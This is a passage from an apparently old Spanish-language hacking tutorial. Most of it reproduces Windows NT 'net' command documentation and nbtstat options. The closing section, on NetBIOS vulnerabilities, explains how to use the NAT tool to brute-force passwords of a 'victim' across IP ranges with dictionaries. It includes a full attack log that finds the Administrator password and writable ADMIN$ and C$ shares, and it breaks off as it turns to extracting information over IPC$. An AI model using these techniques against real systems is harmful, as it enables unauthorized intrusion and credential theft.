Cola LASER 1 trabajos *Cola activa*
1 trabajos 0 en cola


Use net print trabajo_n§ para mostrar un unico trabajo de impresion.
Aparecera una pantalla similar a la siguiente:

Trabajo No. 35
Estado Esperando
Tama~o 3096
Comentario
Usuario MARIASL
Notificar MARIASL
Tipo de dato del trabajo
Parametros del trabajo
Informacion adicional



> Net Send:

Envia mensajes a otros usuarios, equipos, grupos o nombres para mensajes
en la red. El servicio mensajeria debe estar en ejecucion para poder
recibir mensajes.

net send {nombre | * | /domain[:nombre] | /users} mensaje



Parametros
----------


nombre
Es el nombre de usuario, de equipo o nombre para mensajes al que se
envia el mensaje. Si se trata de un nombre de equipo que contiene
caracteres en blanco, escribalo entre comillas (" ").

*
Envia el mensaje a todos los nombres del grupo.

/domain[:nombre]
Envia el mensaje a todos los nombres del dominio del equipo. Si se
especifica nombre, se enviara el mensaje a todos los nombres del
dominio o grupo de trabajo especificado.

/users
Envia el mensaje a todos los usuarios conectados al servidor.

mensaje
Es el texto que se enviara como mensaje.



Ejemplos
--------


Para enviar el mensaje "Reunion cambiada a las 15 horas. En el mismo
lugar."
al usuario robertof, escriba:

net send robertof Reunion cambiada a las 15 horas. En el mismo lugar.

Para enviar un mensaje a todos los usuarios conectados al servidor,
escriba:

net send /users Este servidor se apagara en 5 minutos.

Para enviar un mensaje que incluya una barra diagonal, escriba:

net send robertof "Formatear tu disco con FORMAT /4"



Notas
-----


Solo se puede enviar un mensaje a un nombre que este activo en la red.
Si lo envia a un nombre de usuario, este debe haber iniciado una
sesion y estar ejecutando el servicio mensajeria para recibir el
mensaje.

Enviar mensajes a varios usuarios

Windows NT proporciona varios metodos para transmitir mensajes.
Puede hacerlo a todos los nombres del dominio de su equipo (con * o
/domain) o a otro dominio diferente (/domain:nombre). Los mensajes
transmitidos pueden tener hasta 128 caracteres.

La opcion /users permite enviar un mensaje a todos los usuarios que
tienen sesiones en el servidor. Los parametros que envian mensajes
a varios usuarios deben usarse con precaucion.




> Net Session:


Muestra la lista o desconecta las sesiones entre un equipo local y los
clientes conectados a el.

net session [\\nombre_equipo] [/delete]



Parametros
----------


ninguno
Escriba net session sin parametros para que se muestre informacion
acerca de todas las sesiones con el equipo local.

\\nombre_equipo
Identifica el equipo para el cual se mostraran o desconectaran
sesiones.

/delete
Finaliza la sesion del equipo con \\nombre_equipo y cierra todos los
archivos abiertos en el equipo para la sesion. Si se omite
\\nombre_equipo, se cancelaran todas las sesiones del equipo local.



Ejemplos
--------


Para mostrar una lista con informacion sobre las sesiones del servidor
local, escriba:

net session

Para mostrar informacion sobre las sesiones del cliente cuyo nombre de
equipo es SANCHEZ, escriba:

net session \\sanchez

Para finalizar todas las sesiones entre el servidor y los clientes
conectados, escriba:

net session /delete



Notas
-----

El comando net session puede escribirse tambien como net sessions o net
sess.

Use el comando net session para ver en pantalla los nombres de equipo
y nombres de usuario de aquellos usuarios que tienen acceso a un
servidor, si tienen archivos abiertos y cuanto tiempo ha permanecido
inactiva la sesion de cada uno de ellos.

La pantalla es similar a la siguiente:


Equipo Usuario Tipo de cliente Abierto Inactiva
-------------------------------------------------------------
\\BASSETT CRISDR NT 1 00:00:13
\\SANZCA Administrador DOS LM 2.1 0 01:05:13


Para mostrar la sesion de un usuario, incluya \\nombre_equipo con el
comando. La presentacion de un unico usuario incluye una lista de los
recursos compartidos con los que el usuario tiene conexiones.

Una sesion queda registrada cuando un usuario de un cliente entra en
contacto con un servidor. Esto ocurre cuando los dos sistemas estan en
la misma red y el servidor acepta el nombre y la contrase~a del
usuario. Un usuario de un cliente debe tener una sesion iniciada en el
servidor antes de poder usar los recursos compartidos del mismo; una
sesion no se establece hasta que el usuario de un cliente se conecta a
un recurso. Entre un cliente y un servidor solo puede existir una
sesion, pero puede haber varios puntos de entrada, o conexiones, a los
recursos.

Para determinar el tiempo que puede permanecer inactiva una sesion
antes de que se desconecte automaticamente, active la caracteristica
autodisconnect con la opcion /autodisconnect del comando net config
server. El usuario no interviene en este tipo de desconexion, puesto
que Windows NT reanuda automaticamente la conexion en cuanto el usuario
vuelve a usar el recurso.

Para finalizar una sesion con el servidor, use la opcion /delete junto
con \\nombre_equipo.



> Net Share:

Crea, elimina o muestra recursos compartidos.

net share recurso_compartido

net share recurso_compartido=unidad:ruta_de_acceso
[/users:numero | /unlimited] [/remark:"texto"]

net share recurso_compartido [/users:numero | unlimited]
[/remark:"texto"]

net share {recurso_compartido | unidad:ruta_de_acceso} /delete



Parametros
----------


ninguno
Escriba net share sin parametros para mostrar informacion acerca de
todos los recursos compartidos en el equipo local.

recurso_compartido
Es el nombre de red del recurso compartido. Escriba net share con un
recurso_compartido unicamente para mostrar informacion acerca de
dicho recurso compartido.

unidad:ruta_de_acceso
Especifica la ruta de acceso absoluta del directorio que va a
compartirse.

/users:numero
Establece el numero maximo de usuarios que pueden tener acceso
simultaneamente al recurso compartido.

/unlimited
Especifica que puede tener acceso simultaneamente al recurso
compartido un numero ilimitado de usuarios.

/remark:"texto"
Agrega un comentario descriptivo acerca del recurso. Escriba el texto
entre comillas.

/delete
Deja de compartir un recurso.




Ejemplos
-------


Para mostrar informacion acerca de los recursos compartidos en el
equipo, escriba:

net share

Para compartir el directorio C:\CARTAS de un equipo con el nombre
compartido SECRETARIA e incluir un comentario, escriba:

net share secretaria=c:\cartas /remark:"Para el departamento 123."

Para dejar de compartir el directorio CARTAS, escriba:

net share secretaria /delete

Para compartir el directorio C:\LST FIG de un equipo con el nombre
compartido LISTA, escriba: net share lista="C:\lst fig"



Notas
-----


Use el comando net share para compartir recursos.

Para compartir un directorio con una ruta de acceso que contiene un
caracter en blanco, escriba la unidad y la ruta del directorio entre
comillas (" ").

Cuando se muestran todos los recursos compartidos de un equipo, Windows
NT indica el nombra del recurso compartido, el nombre o nombres de
dispositivo o rutas de acceso asociadas con el recurso y un comentario
descriptivo acerca de este.

La presentacion en pantalla es similar a la siguiente:


Nombre Recurso Comentario
-------------------------------------------------------
ADMIN$ C:\WINNT Admin remota
C$ C:\ Uso interno
print$ C:\WINNT\SYSTEM\SPOOL
IPC$ IPC remota
LASER LPT1 En cola Impresora laser


Los recursos compartidos de un servidor se guardan a medida que se
crean. Cuando detenga el servicio Servidor, todos los recursos
compartidos se desconectaran, pero se volveran a conectar
automaticamente en cuanto vuelva a iniciarse el servicio o cuando se
reinicie el equipo.



> Net Start:

Inicia un servicio o muestra una lista de los servicios iniciados. Los
nombres de servicios que son de dos o mas palabras, como inicio de
sesion de red o Examinador de equipos, deben estar entre comllas (" ").

net start [servicio]



Parametros
---------


ninguno
Escriba net start sin parametros para mostrar una lista de los
servicios en ejecucion.

servicio
Puede ser:

1. Alerta
2. Servicio de cliente para netware
3. Servidor del Portafolio
4. Examinador de equipo
5. Cliente dhcp
6. Duplicador de directorios
7. Registro de sucesos
8. Servicio de publicacion de FTP
9. LPDSVC
10. Mensajeria
11. Inicio de sesion
12. DDE de red
13. DSDM DDE de red
14. Agente de supervision de red
15. Proveedor de seguridad nt lm
16. OLE
17. Administrador de conexiones de acceso remoto
18. Servidor de acceso remoto
19. Localizador de llamada a procedimientos remotos (rpc)
20. Servicio de llamada a procedimientos remotos
21. Schedule
22. Servidor
23. Servicios simples de tcp/ip
24. SNMP
25. Spooler
26. Ayuda de NetBIOS de tcp/ip
27. SAI
28. Estacion de trabajo

Los siguientes servicios solo estan disponibles en Windows NT Server:

1. Servidor de archivos para Macintosh
2. Servidor de puerta de enlace o gateway para netware
3. Servidor de DHCP de Microsoft
4. Servidor de impresion para Macintosh
5. Inicio remoto
6. Servicio de nombres Internet de windows



Notas
-----


Use el comando net start servicio para iniciar un servicio de Windows
NT. Algunos servicios dependen de otros servicios.

Puede utilizar la opcion Servicios en el Panel de control para
configurar el inicio y la detencion automatica de los servicios. Esta
opcion tambien le permite detener, iniciar, interrumpir y continuar los
servicios de red manualmente.

Los nombres de servicios que constan de dos o mas palabras, como Inicio
de sesion de red o Examinador de equipos, deben estar entre comillas
(" ").

Este comando tambien inicia los servicios de red que no estan incluidos
en Windows NT.

Los servicios que pueden iniciarse son:

Net Start "Administrador de conexiones de acceso remoto"
Net Start "Agente de supervisi¢n de red"
Net Start "Ayuda de NetBIOS de TCP/IP"
Net Start "Cliente de DHCP"
Net Start "DDE de red"
Net Start "Duplicador de directorios"
Net Start "Estacion de trabajo"
Net Start "Examinador de equipos"
Net Start "Inicio de sesi¢n de red"
Net Start "Inicio remoto"
Net Start "Localizador de rpc"
Net Start "Proveedor de seguridad NT LM"
Net Start "Registro de sucesos"
Net Start "Servicio de cliente para NetWare"
Net Start "Servicio de llamada a procedimientos remotos (RPC)"
Net Start "Servicio de nombres Internet de Windows"
Net Start "Servicio de publicaci¢n de FTP"
Net Start "Servicio de puerta de enlace o gateway para NetWare"
Net Start "Servicio ISNSAP de acceso remoto"
Net Start "Servicio Schedule"
Net Start "Servicios simples de TCP/IP"
Net Start "Servidor de acceso remoto"
Net Start "Servidor de archivos para Macintosh"
Net Start "Servidor de dde de red"
Net Start "Servidor de impresion para Macintosh"
Net Start "Servidor de Portafolio"
Net Start "Servidor DHCP de Microsoft"
Net Start Alerta
Net Start Lpdsvc
Net Start Mensajeria
Net Start Sai
Net Start Servidor
Net Start Snmp
Net Start Spooler



> Net Stadistics:

Muestra el registro de estadisticas del servicio local Estacion de
trabajo o Servidor.

net statistics [workstation | server]



Parametros
----------


ninguno
Escriba net stadistics sin parametros para obtener una lista de los
servicios en ejecucion para los cuales hay datos estadisticos
disponibles.

workstation
Muestra los datos estadisticos del servicio local Estacion de
trabajo.

server
Muestra los datos estadisticos del servicio local Servidor.



Ejemplos
--------


Para mostrar los servicios en ejecucion para los que hay estadisticas
disponibles, escriba:

net stats

Para mostrar las estadisticas del servicio servidor y evitar que se
desplace por la pantalla, escriba:

net statistics server | more



Notas
-----


Este comando puede escribirse tambien como net stats.

Use el comando net stadistics para mostrar informacion sobre el
rendimiento del servicio especificado.


El servicio servidor:

Windows NT indica el nombre de equipo, la fecha y hora en que se
actualizaron por ultima vez las estadisticas, y proporciona la
siguiente informacion:

1. El numero de sesiones que se iniciaron, se desconectaron
automaticamente y se desconectaron a causa de error.
2. El numero de kilobytes enviados y recibidos, y el tiempo medio de
respuesta del servidor.
3. El numero de errores e infracciones de contrase~a y limites de
permiso.
4. El numero de veces que se usaron los archivos, impresoras y
dispositivos de comunicaciones compartidos.
5. El numero de veces que se excedio el tama~o del bufer de memoria.


El servicio Estacion de trabajo:

Windows NT indica el nombre de equipo del equipo, la fecha y hora en
que se actualizaron por ultima vez las estadisticas, y proporciona la
siguiente informacion:

1. El numero de bytes y SMB recibidos y transmitidos.
2. El numero de operaciones de lectura y escritura logradas o
fallidas.
3. El numero de errores en la red.
4. El numero de sesiones fallidas, desconectadas o conectadas
nuevamente.
5. El numero de conexiones a recursos compartidos logradas o
fallidas.



> Net Stop:

Detiene un servicio de Windows NT.

net stop servicio



Parametros
----------


servicio
Puede ser alerta, servicio de cliente para netware, Servidor del
Portafolio, examinador de equipos, duplicador de directorios,
servicio de publicacion de FTP, lpdsvc, mensajeria, inicio de sesion
de red, dde de red, dsdm de red, agente de supervision de red,
proveedor de seguridad nt lm, ole, administrador de conexiones de
acceso remoto, servicio isnsap de acceso remoto, servidor de acceso
remoto, localizador de llamada a procedimientos remotos (rpc),
schedule, servidor, servicios simples de tcp/ip, snmp, spooler,
ayuda de NetBIOS de tcp/ip, sai y estacion de trabajo.

Los siguientes servicios solo estan disponibles en Windows NT
Server: servidor de archivos para macintosh, servicio de puerta de
enlace o gateway para netware, servidor dhcp de microsoft, servidor
de impresion para macintosh, servicio de nombres internet de
windows.



Notas
-----


Detiene un servicio para suprimir la funcion que realiza en la red y
para eliminar el software de la memoria.

Al detener el servicio Servidor se impide que los usuarios tengan
acceso a los recursos compartidos del equipo. Si detiene el servicio
Servidor cuando los usuarios estan teniendo acceso a los recursos,
Windows NT mostrara un mensaje de advertencia pidiendo confirmacion
antes de cancelar las conexiones. Una respuesta afirmativa cancelara
todas las conexiones con el equipo.

Antes de detener el servicio Servidor, puede hacer lo siguiente:

1. Efectuar una pausa en el servicio (para no permitir nuevas
conexiones)
2. Enviar un mensaje advirtiendo a los usuarios de que deben
desconectarse de los recursos del servidor.

Net stop tambien puede detener servicios de red no suministrados con
Windows NT.



> Net Time:

Sincroniza el reloj del equipo con el de otro equipo o dominio. Si se
utiliza sin la opcion /set, muestra la hora de otro equipo o dominio.

net time [\\nombre_equipo | /domain[:nombre]] [/set]



Parametros
----------


\\nombre_equipo
Es el nombre del servidor que desee comprobar o con el que desee
sincronizar las estaciones de trabajo.

/domain[:nombre]
Es el dominio con el que desea sincronizar la hora.

/set
Sincroniza el reloj del equipo con el del equipo o dominio
especificado.



> Net Use:

Conecta o desconecta un equipo de un recurso compartido o muestra
informacion acerca de las conexiones del equipo. Tambien controla las
conexiones de red persistentes. Como veremos mas adelante, este comando
es de una gran importancia para averiguar informacion sobre el sistema.

net use [nombre_dispositivo]
[\\nombre_equipo\recurso_compartido[\volumen]]
[contrase~a | *]] [/user:[nombre_dominio\]nombre_usuario]
[[/delete] | [/persistent:{yes | no}]]

net use nombre_dispositivo [/home[contrase~a | *]]
[/delete:{yes | no}]

net use [/persistent:{yes | no}]



Parametros
----------


ninguno
Escriba net use sin parametros para obtener una lista de las
conexiones de red.

nombre_dispositivo
Aigna un nombre para la conexion al recurso o especifica el
dispositivo que se va a desconectar. Hay dos tipos de nombres de
dispositivos: unidades de disco (D a Z) e impresoras (LPT1 A LPT3).
Escriba un asterisco en lugar de un nombre especifico de dispositivo
para asignar el siguiente nombre de dispositivo disponible.

\\nombre_equipo\recurso_compartido
Es el nombre del servidor y del recurso compartido. Si el nombre de
equipo contiene caracteres en blanco, escriba la barra invertida
doble (\\) y el nombre entre comillas (" "). El nombre del equipo
puede tener entre 1 y 15 caracteres.

\volumen
Especifica un volumen NetWare del servidor. Para poder conectarse con
servidores NetWare debe tener instalado y estar ejecutando el
Servicio de cliente para NetWare (Windows NT Workstation) o el
servicio de puerta de enlace o gateway para NetWare (Windows NT
Server).

Contrase~a
Es la contrase~a necesaria para tener acceso al recurso compartido.

*
Pide por la contrase~a. Los caracteres no se muestran en pantalla a
medida que los escribe.

/user
Especifica un nombre de usuario diferente con el que se realiza la
conexion.

nombre_dominio
Especifica otro dominio. Por ejemplo,
net use d: \\servidor\recurso_compartido /user:admin\mario conecta el
usuario mario de la misma forma que si la conexion se realizara desde
el dominio administrador. Si se omite el dominio, se usara aquel en
el que tenga lugar la conexion actual.

nombre_usuario
Especifica el nombre de usuario con el que se iniciara la sesion.

/home
Conecta a un usuario con su directorio particular.

/delete
Cancela la conexion de red especificada. Si el usuario especifica la
conexion mediante un asterisco se cancelaran todas las conexiones de
red.

/persistent
Controla el uso de conexiones de red persistentes. El valor
predeterminado es la ultima configuracion utilizada. Las conexiones
sin dispositivos no son persistentes.

yes
Guarda todas las conexiones tal como se realizaron y las restaura en
el siguiente inicio de sesion.

no
No guarda la conexion en curso ni las siguientes. Las existentes se
restauraran en el siguiente inicio de sesion. Use el modificador
/delete para eliminar conexiones persistentes.



Ejemplos
--------


Para asignar el nombre de dispositivo de unidad de disco E: al
directorio compartido CARTAS del servidor \\FINANCIERO, escriba:

net use e: \\financiero\cartas

Para asignar el nombre de dispositivo de unidad de disco M: al
directorio MARIA dentro del volumen CARTAS del servidor NetWare
FINANCIERO, escriba:

net use m: \\financiero\cartas\mar¡a

Para asignar el nombre de dispositivo LPT1 a la cola de impresora
compartida LASER2 del servidor \\CONTABILIDAD, escriba:

net use lpt1: \\contabilidad\l ser2

Para desconectarse de la cola de impresora LPT1, escriba:

net use lpt1: /delete

Para asignar el nombre de dispositivo de unidad de disco H: al
directorio particular del usuario mario, escriba:

net use h: \\contabilidad\usuarios /home /user:mario

Para asignar el nombre de dispositivo de unidad de disco F: al
directorio compartido NOTAS del servidor \\FINANCIERO, que requiere la
contrase~a hctarcs, sin que la conexion sea persistente, escriba:

net use f: \\financiero\notas hctarcs /persistent:no

Para desconectarse del directorio \\FINANCIERO\NOTAS, escriba:

net use f: \\financiero\notas /delete

Para conectarse a un recurso compartido del servidor FINANCIERO2,
escriba:

net use k: "\\financiero 2"\circulares

Si el nombre del servidor incluye un espacio en blanco, escribalo entre
comillas; de lo contrario, Windows NT mostrara un mensaja de error.

Para restaurar las conexiones actuales cada vez que se inicie una
sesion, independientemente de cambios futuros, escriba:

net use /persistent:yes


Notas
-----

Utilice el comando net use para efectuar la conexion o desconexion de
un recurso de la red y para ver sus conexiones actuales con dichos
recursos. Es imposible desconectarse de un directorio compartido si se
utiliza como unidad actual o si esta en uso por un proceso activo.

Hay varias formas de obtener informacion acerca de una conexion:

1. Escriba net use nombre_dispositivo para obtener la informacion
acerca de una conexion especifica.

2. Escriba net use para obtener una lista de todas las conexiones
del equipo.


Conexiones sin dispositivos
Las conexiones sin dispositivos no son persistentes.

Conexion con servidores NetWare
Una vez que el software Servicio de cliente para NetWare o Servicio de
puerta de enlace o gateway para NetWare esta instalado y en ejecucion,
podra conectarse a un servidor NetWare en una red novell. Utilice la
misma sintaxis que al conectarse a un servidor de red de Windows,
excepto que debe incluir el volumen con el que desea conectarse.



> Net User:

Agrega o modifica cuentas de usuario o muestra informacion acerca de
ellas.

net user [nombre_usuario [contrase¤a | *] [opciones]] [/domain]

net user nombre_usuario {contrase¤a | *} /add [opciones] [/domain]

net user nombre_usuario [/delete] [/domain]



Parametros
----------


ninguno
Escriba net user sin parametros para ver una lista de las cuentas de
usuario del equipo.

nombre_usuario
Es el nombre de la cuenta de usuario que se desea agregar, eliminar,
modificar o ver. El nombre de la cuenta de usuario puede tener hasta
20 caracteres.

contrase~a
Asigna o cambia una contrase~ a para la cuenta de usuario. Una
contrase~a debe tener la longitud minima establecida con la opcion
/minpwlen del comando net accounts y puede tener un maximo de 14
caracteres.

*
Pide la contrase~a. Los caracteres no se muestran en pantalla a
medida que los escribe.

/domain
Realiza la operacion en el controlador principal del dominio
principal del equipo.

Este parametro se aplica unicamente a equipos con Windows NT
Workstation que son miembros de un dominio de Windows NT Server. De
forma predeterminada, los equipos con Windows NT Server realizan las
operaciones en el controlador principal de dominio.

NOTA: Esta accion se lleva a cabo en el controlador principal del
dominio principal del equipo. Puede que no se inicie la sesion
en el dominio.

/add
Agrega una cuenta de usuario a la base de datos de cuentas de
usuario.

/delete
Quita una cuenta de usuario de la base de datos de cuentas de
usuario.



Opciones
--------


/active:{no | yes}
Desactiva o activa la cuenta de usuario. Si no esta activa, el
usuario no puede tener acceso a los recursos del equipo. El valor
predeterminado es yes (activa).

/comment:"texto"
Proporciona un comentario descriptivo acerca de la cuenta de usuario.
Puede hasta tener 48 caracteres. Escriba el texto entre comillas.

/countrycode:nnn
Usa los codigos de pais del sistema operativo para instalar los
archivos de ayuda y mensajes de error en el idioma especificado. Un
valor 0 significa el codigo de pais predeterminado.

/expires:{fecha | never}
El parametro fecha establece una fecha de caducidad de la cuenta de
usuario, mientras que never determina una duracion ilimitada de dicha
cuenta. Las fechas de caducidad pueden darse en el formato mm/dd/aa o
mm,dd,aa, dependiendo de /countrycode. Observe que la cuenta caduca
al comienzo de la fecha especificada. Los meses pueden indicarse con
un numero, con todas sus letras o abreviados con tres letras. Los
a~os pueden constar de dos o cuatro digitos. Utilice comas o barras
diagonales para separar por partes de la fecha (no espacios en
blanco). Si se omite aa, se asume el a~o de la siguiente fecha (de
acuerdo con la fecha y hora de su equipo). Por ejemplo, las
siguientes entradas de fecha son equivalentes si se introducen
entre el 10 de enero de 1994 y el 8 de enero de 1885.

jan,9 /9/95 ,9,1995 /9

/fullname:"nombre"
Agrega un determinado nombre al usuario en lugar de su nombre de
usuario normal. Escriba dicho nombre entre comillas.

/homedir:ruta_acceso
Establece la ruta de acceso del directorio particular del usuario.
Dicha ruta debe ser una ya existente.

/homedirreq:{yes | no}
Establece si es necesario un directorio particular.

/passwordchg:{yes | no}
Especifica si los usuarios pueden cambiar su contrase~a. El valor
predeterminado es yes.

/passwordreq:{yes | no}
Especifica si una cuenta de usuario debe tener una contrase~a. El
valor predeterminado es yes.

/profilepath[:ruta_acceso]
Establece una ruta de acceso para el perfil de inicio de sesion del
usuario. Dicha ruta lleva a un perfil de registro.

/scriptpath:ruta_acceso
Establece una ruta de acceso al archivo de comandos de inicio de
sesion del usuario. Ruta_acceso no puede ser una ruta absoluta; es
relativa a %raiz_sistema%\SYSTEM32\REPL\IMPORT\SCRIPTS.

/times:{horas | all}
Especifica las horas en las que se permite al usuario el uso del
equipo. El valor horas se expresa como dia.

[-dia][,dia[-dia]] ,hora[-hora][,hora[-hora]], limitado a incrementos
de una hora. Los dias se pueden deletrear o abreviar (L, M, Mi, J, V,
S, D). Las horas se pueden escribir en formato de 12 o 24 horas. Para
el formato de 12 horas, use AM, PM, O A.M., P.M. El valor all
significa que un usuario puede iniciar una sesion en cualquier
momento. Un valor nulo (en blanco) significa que un usuario nunca
puede iniciar la sesion. Separe al dia y la hora mediante comas, y
las unidades de dia y hora con punto y coma (por ejemplo,
L,4AM-5PM;M,1AM-3PM). No use espacios en la especificacion de /times.

/usercomment:"texto"
Permite que un administrador agregue o cambie el "Comentario de
usuario"
de la cuenta. Escriba el texto entre comillas.

/workstations:{nombre_equipo [,...] | *}
Lista de hasta ocho estaciones de trabajo desde las que un usuario
puede iniciar una sesion en la red. Separe los nombres de las
estaciones con una coma. Si /workstation no es una lista o esta es
igual a un *, el usuario puede iniciar una sesion desde cualquier
equipo.



Ejemplos
--------


Para mostrar una lista de todas las cuentas de usuario del equipo
local, escriba:

net user

Para ver informacion acerca de la cuenta juanh, escriba:

net user juanh

Para agregar una cuenta de usuario para Enrique Perez, con derechos de
inicio de sesion desde las 8 A.M. a 5 P.M. de lunes a viernes (sin
espacios en las especificaciones de las horas), una contrase~a
obligatoria y el nombre completo del usuario, escriba:

net user enriquep enriquep /add /passwordreq:yes
/times:lunes-viernes,8am-5pm
/fullname:"Enrique P‚rez"

El nombre de usuario ( enriquep) se escribe la segunda vez como
contrase~a.

Para establecer la hora de inicio de sesion de juansp (8 A.M. a 5 P.M.)
usando la notacion de 24 horas, escriba:

net user juansp /time:Lun-Vie,08:00-17:00

Para establecer la hora de inicio de sesion de juansp (8 A.M a 5 P.M.)
usando la notacion de 12 horas, escriba:

net user juansp /time:Lun-Vie,8am-5pm

Para especificar las horas de inicio de sesion de 4 A.M a 5 P.M. los
Lunes, 1 P.M. a 3 P.M. los martes y 8 A.M. a 5 P.M. de Miercoles a
Viernes para mariasl, escriba:

net user mariasl /time:Lun,4am-5pm;Mar,1pm-3pm;Mie-Vie,8:00-17:00

Para establecer /homedirreq en yes para enriquep y asignarle
\\SERVIDOR\USUARIOS\\ENRIQUEP como directorio particular, escriba:

net user enriquep /homedirreq:yes

/homedir \\SERVIDOR\USUARIOS\ENRIQUEP


Notas
-----

Este comando puede escribirse tambien como net users.

Use el comando net user para crear y controlar las cuentas de usuarios
de un dominio. La informacion sobre dichas cuentas se almacena en la
base de datos de cuentas de usuario.

Cuando escriba el comando net user en un equipo que ejecute Windows NT
Server, los cambios en la base de datos de cuentas se produciran
automaticamente, en el controlador principal de dominio y luego se
duplicaran en los controladores de reserva. Esto es valido unicamente
para los dominios de Windows NT Server.



> Net View:

Muestra una lista de dominios, una lista de equipos o los recursos
compartidos en el equipo especificado.

net view [\\nombre_equipo | /domain[:nombre_dominio]]

net view /network:nw [\\nombre_equipo]


Parametros
----------

ninguno
Escriba net view sin parametros para mostrar la lista de los equipos
del dominio actual.

nombre_equipo
Especifica el equipo cuyos recursos compartidos desea ver.

/domain[:nombre_dominio]
Especifica el dominio del que se desean ver los equipos disponibles.
Si se omite nombre_dominio, se mostraran todos los dominios de la
red.

/network:nw
Muestra todos los servidores disponibles de una red NetWare. Si se
especifica un nombre de equipo, se mostraran los recursos
disponibles en dicho equipo de la red NetWare. Mediante esta opcion
tambien pueden especificarse otras redes que se hayan agregado al
sistema.


Ejemplos
--------

Para ver una lista de los recursos compartidos por el equipo
\\PRODUCTOSM, escriba:

net view \\productos

Para ver los recursos disponibles en el servidor NetWare \\MARKETING,
escriba:

net view /network:nw \\marketing

Para ver una lista de los equipos del dominio o grupo de trabajo Ventas,
escriba:

net view /domain:ventas


Notas
-----

Use el comando net view para mostrar una lista de equipos similar a la
siguiente:


Nombre de servidor Comentario
-------------------------------------------------------------------

\\PRODUCCION Servidor de archivos de Produccion
\\PRINT1 Sala de impresoras, primer piso
\\PRINT2 Sala de impresoras, segundo piso



[ 5.4 - Nbtstat ]
---------------

Veamos mas detenidamente este util comando. He aqui sus parametros:

- a : Lista la tabla de nombres de los ordenadores remotos a partir del
nombre de la maquina.
- A : Lista la tabla de nombres de los ordenadores remotos a partir de su
IP.
- c : Lista los nombres de cache remotos incluyendo sus IP's.
- n : Lista los nombres NetBIOS *locales*.
- r : Lista los nombres resueltos via broadcast y via WINS.
- R : Depura y actualiza la tabla de nombres de cache remoto.
- S : Lista tablas de sesiones a partir de la IP.
- s : Lista tablas de sesiones convirtiendo las IP's a nombres NetBIOS.

NetBIOS no tiene ningun error de dise~o, o por lo menos si lo hay no ha
salido a la luz. Sin embargo hay una herramienta (puede haber mas, sin




[ 5.4 - Vulnerabilidades de NetBIOS ]
-----------------------------------


NetBIOS tiene muy pocos errores de dise~o, asi que para poder hackear una
maquina NT por NetBIOS, solo tendremos dos opciones principalmente: Extraer
informacion de la maquina por IPC$ o averiguar sus contrase~as a traves del
NAT.

Si se dispone de

  
un se~or diccionario (entiendase por un diccionario cuyo
tama~o ronde los 1024k) en el idioma adecuado, tenemos un objetivo que no
esta demasiado concienciado por las contrase~as y con unos recursos
"protegidos" por contrase~a, NAT podria alegrarnos el dia.

Veamos mas a fondo esta herramienta.



[ 5.4.1 - NAT ]
-------------

Son las siglas de NetBIOS Auditing Tool, o herramienta para auditorear
NetBIOS.

Como ya he dicho antes es una muy util herramienta. Veamos como usarla.


Argumentos
----------

nat -o resultados -u listausuarios -p listapasswords direccion_IP

Con el parametro "-o" se especifica el fichero en el cual se guardaran
los resultados de la auditoria. Con el parametro "-u" se especifica el
fichero en el que tendremos una lista de los usuarios cada uno separados por
un salto de linea. Con el parametro "-p" especificamos el fichero en el que
guardamos las contrase~as que NAT ira probando con cada usuario, separadas
por un salto de carro. Y en Direccion_IP metemos la IP o DNS de la victima.
Tambien podemos conseguir hacer un barrido de IP's especificando la IP de
inicio y la IP final, por ejemplo 123.12.13.1-255, que haria un barrido de
clase C. Se pueden lograr mas combinaciones en este apartado, para ello
recomiendo leer el NAT_DOC.txt que acompa~a a NAT.

Veamos un ejemplo del uso de NAT, sacado de un documento de Rhino9:


C:\nat -o vacuum.txt -u usuarios.txt -p pass.txt 204.73.131.10-204.73.131.30


[*]--- Reading usernames from usuarios.txt
[*]--- Reading passwords from pass.txt

[*]--- Checking host: 204.73.131.11
[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: ADMINISTRATOR' Password: `pass'
[*]--- CONNECTED: Username: ·DMINISTRATOR' Password: `pass'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
Test Disk:

[*]--- This machine has a browse list:

Server Comment
--------- -------
STUDENT1



[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access

Una vez el NAT se encuentra auditando un host, y encuentra alguna cuenta
valida, te informa sobre los recursos a los que puedes acceder y con que
privilegios tienes sobre ellos.



[ 5.4.2 - IPC$ ]
--------------

Muchos de vosotros estareis pensando en como algunos programas son
capaces de saber todos los usuarios en una maquina NT remota, ademas de
poder extraer mucha informacion interesante que sin duda no deberia ser
